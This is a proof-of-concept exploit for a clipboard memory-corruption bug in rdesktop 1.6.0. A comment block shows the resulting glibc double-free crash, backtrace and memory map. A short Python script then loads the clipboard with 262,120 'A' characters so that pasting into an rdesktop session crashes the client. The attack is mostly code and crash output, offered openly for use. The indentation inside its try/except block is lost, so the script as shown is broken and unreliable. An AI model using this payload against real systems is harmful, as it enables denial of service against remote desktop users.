rdesktop 1.6.0 Memory Corruption

`#rdestkop 1.6.0 Memory Corruption (Copy from clipboard) PoC  
#By Dame Jovanoski (badc0re)  
#  
# This is the result of 262120 inserted into clipboard and coppied on remote machine  
# using rdesktop 1.6.0 tested od Ubuntu 9.10.  
#  
# Use of this exploit: python rdeskop.py.  
#   
# And next is shift-insert(or ctrl-v) for copy.  
#   
# This is what you get:  
#  
#root@bt:~# rdesktop 192.168.204.133  
#WARNING: Remote desktop does not support colour depth 24; falling back to 16  
#*** glibc detected *** rdesktop: double free or corruption (fasttop): 0x083f3250 ***  
#======= Backtrace: =========  
#/lib/tls/i686/cmov/libc.so.6[0xb7a4d454]  
##/lib/tls/i686/cmov/libc.so.6(cfree+0x96)[0xb7a4f4b6]  
#/usr/lib/libX11.so.6(XFree+0x1d)[0xb7b74fdd]  
#rdesktop[0x805f43f]  
#rdesktop[0x805a2b6]  
##rdesktop[0x80630ff]  
#rdesktop[0x80636d8]  
#rdesktop[0x8063848]  
#rdesktop[0x8064013]  
#rdesktop[0x806484b]  
#rdesktop[0x80663e3]  
#rdesktop[0x80672b9]  
#rdesktop[0x8067dbc]  
#rdesktop[0x804ec2a]  
#/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xe5)[0xb79f4685]  
#rdesktop[0x804ca61]  
#======= Memory map: ========  
#08048000-0807c000 r-xp 00000000 03:01 114747 /usr/bin/rdesktop  
#0807c000-0807d000 r--p 00034000 03:01 114747 /usr/bin/rdesktop  
#0807d000-0807f000 rw-p 00035000 03:01 114747 /usr/bin/rdesktop  
#0807f000-08418000 rw-p 00000000 00:00 0 [heap]  
#b7500000-b7521000 rw-p 00000000 00:00 0  
#b7521000-b7600000 ---p 00000000 00:00 0  
#b769b000-b771c000 rw-p 00000000 00:00 0  
#b791d000-b7925000 r-xp 00000000 03:01 120953 /usr/lib/libXrender.so.1.3.0  
#b7925000-b7926000 r--p 00007000 03:01 120953 /usr/lib/libXrender.so.1.3.0  
#b7926000-b7927000 rw-p 00008000 03:01 120953 /usr/lib/libXrender.so.1.3.0  
#b7927000-b792f000 r-xp 00000000 03:01 120903 /usr/lib/libXcursor.so.1.0.2  
#b792f000-b7930000 rw-p 00007000 03:01 120903 /usr/lib/libXcursor.so.1.0.2  
#b7933000-b7940000 r-xp 00000000 03:01 105519 /lib/libgcc_s.so.1  
#b7940000-b7941000 r--p 0000c000 03:01 105519 /lib/libgcc_s.so.1  
#b7941000-b7942000 rw-p 0000d000 03:01 105519 /lib/libgcc_s.so.1  
#b7942000-b794c000 r-xp 00000000 03:01 122321 /lib/tls/i686/cmov/libnss_files-2.8.90.so  
#b794c000-b794d000 r--p 00009000 03:01 122321 /lib/tls/i686/cmov/libnss_files-2.8.90.so  
#b794d000-b794e000 rw-p 0000a000 03:01 122321 /lib/tls/i686/cmov/libnss_files-2.8.90.so  
#b794e000-b7957000 r-xp 00000000 03:01 122325 /lib/tls/i686/cmov/libnss_nis-2.8.90.so  
#b7957000-b7958000 r--p 00008000 03:01 122325 /lib/tls/i686/cmov/libnss_nis-2.8.90.so  
#b7958000-b7959000 rw-p 00009000 03:01 122325 /lib/tls/i686/cmov/libnss_nis-2.8.90.so  
#b7959000-b796e000 r-xp 00000000 03:01 122315 /lib/tls/i686/cmov/libnsl-2.8.90.so  
#b796e000-b796f000 r--p 00014000 03:01 122315 /lib/tls/i686/cmov/libnsl-2.8.90.so  
#b796f000-b7970000 rw-p 00015000 03:01 122315 /lib/tls/i686/cmov/libnsl-2.8.90.so  
#b7970000-b7972000 rw-p 00000000 00:00 0  
#b7972000-b7979000 r-xp 00000000 03:01 122317 /lib/tls/i686/cmov/libnss_compat-2.8.90.so  
#b7979000-b797a000 r--p 00006000 03:01 122317 /lib/tls/i686/cmov/libnss_compat-2.8.90.so  
#b797a000-b797b000 rw-p 00007000 03:01 122317 /lib/tls/i686/cmov/libnss_compat-2.8.90.so  
#b797b000-b797c000 rw-p 00000000 00:00 0  
#b797c000-b7980000 r-xp 00000000 03:01 120909 /usr/lib/libXdmcp.so.6.0.0  
#b7980000-b7981000 rw-p 00003000 03:01 120909 /usr/lib/libXdmcp.so.6.0.0  
#b7981000-b7982000 rw-p 00000000 00:00 0  
#b7982000-b7984000 r-xp 00000000 03:01 120891 /usr/lib/libXau.so.6.0.0  
#b7984000-b7985000 rw-p 00001000 03:01 120891 /usr/lib/libXau.so.6.0.0  
#b7985000-b799c000 r-xp 00000000 03:01 215752 /usr/lib/libxcb.so.1.0.0  
#b799c000-b799d000 r--p 00016000 03:01 215752 /usr/lib/libxcb.so.1.0.0  
#b799d000-b799e000 rw-p 00017000 03:01 215752 /usr/lib/libxcb.so.1.0.0  
#b799e000-b799f000 r-xp 00000000 03:01 215748 /usr/lib/libxcb-xlib.so.0.0.0  
#b799f000-b79a0000 r--p 00000000 03:01 215748 /usr/lib/libxcb-xlib.so.0.0.0  
#b79a0000-b79a1000 rw-p 00001000 03:01 215748 /usr/lib/libxcb-xlib.so.0.0.0  
#b79a1000-b79a8000 r-xp 00000000 03:01 122334 /lib/tls/i686/cmov/librt-2.8.90.so  
#b79a8000-b79a9000 r--p 00007000 03:01 122334 /lib/tls/i686/cmov/librt-2.8.90.so  
#b79a9000-b79aa000 rw-p 00008000 03:01 122334 /lib/tls/i686/cmov/librt-2.8.90.so  
#b79aa000-b79bf000 r-xp 00000000 03:01 122330 /lib/tls/i686/cmov/libpthread-2.8.90.so  
#b79bf000-b79c0000 r--p 00014000 03:01 122330 /lib/tls/i686/cmov/libpthread-2.8.90.so  
#b79c0000-b79c1000 rw-p 00015000 03:01 122330 /lib/tls/i686/cmov/libpthread-2.8.90.so  
#b79c1000-b79c4000 rw-p 00000000 00:00 0  
#b79c4000-b79d8000 r-xp 00000000 03:01 215832 /usr/lib/libz.so.1.2.3.3  
#b79d8000-b79da000 rw-p 00013000 03:01 215832 /usr/lib/libz.so.1.2.3.3  
#b79da000-b79dc000 r-xp 00000000 03:01 122310 /lib/tls/i686/cmov/libdl-2.8.90.so  
#b79dc000-b79dd000 r--p 00001000 03:01 122310 /lib/tls/i686/cmov/libdl-2.8.90.Aborted  
  
from struct import *  
import time  
import pygtk  
pygtk.require('2.0')  
import gtk   
import sys  
  
print "Creating expoit."  
time.sleep(1)  
print "Creating explot.."  
time.sleep(1)  
print "Creating explot..."  
buf="\x41"*262120  
try:  
clipboard = gtk.clipboard_get()  
text=clipboard.wait_for_text()  
clipboard.set_text(buf)  
clipboard.store()  
print "String is copied into clipboard."  
except:  
print "String cannot be copied into clipboard."  
`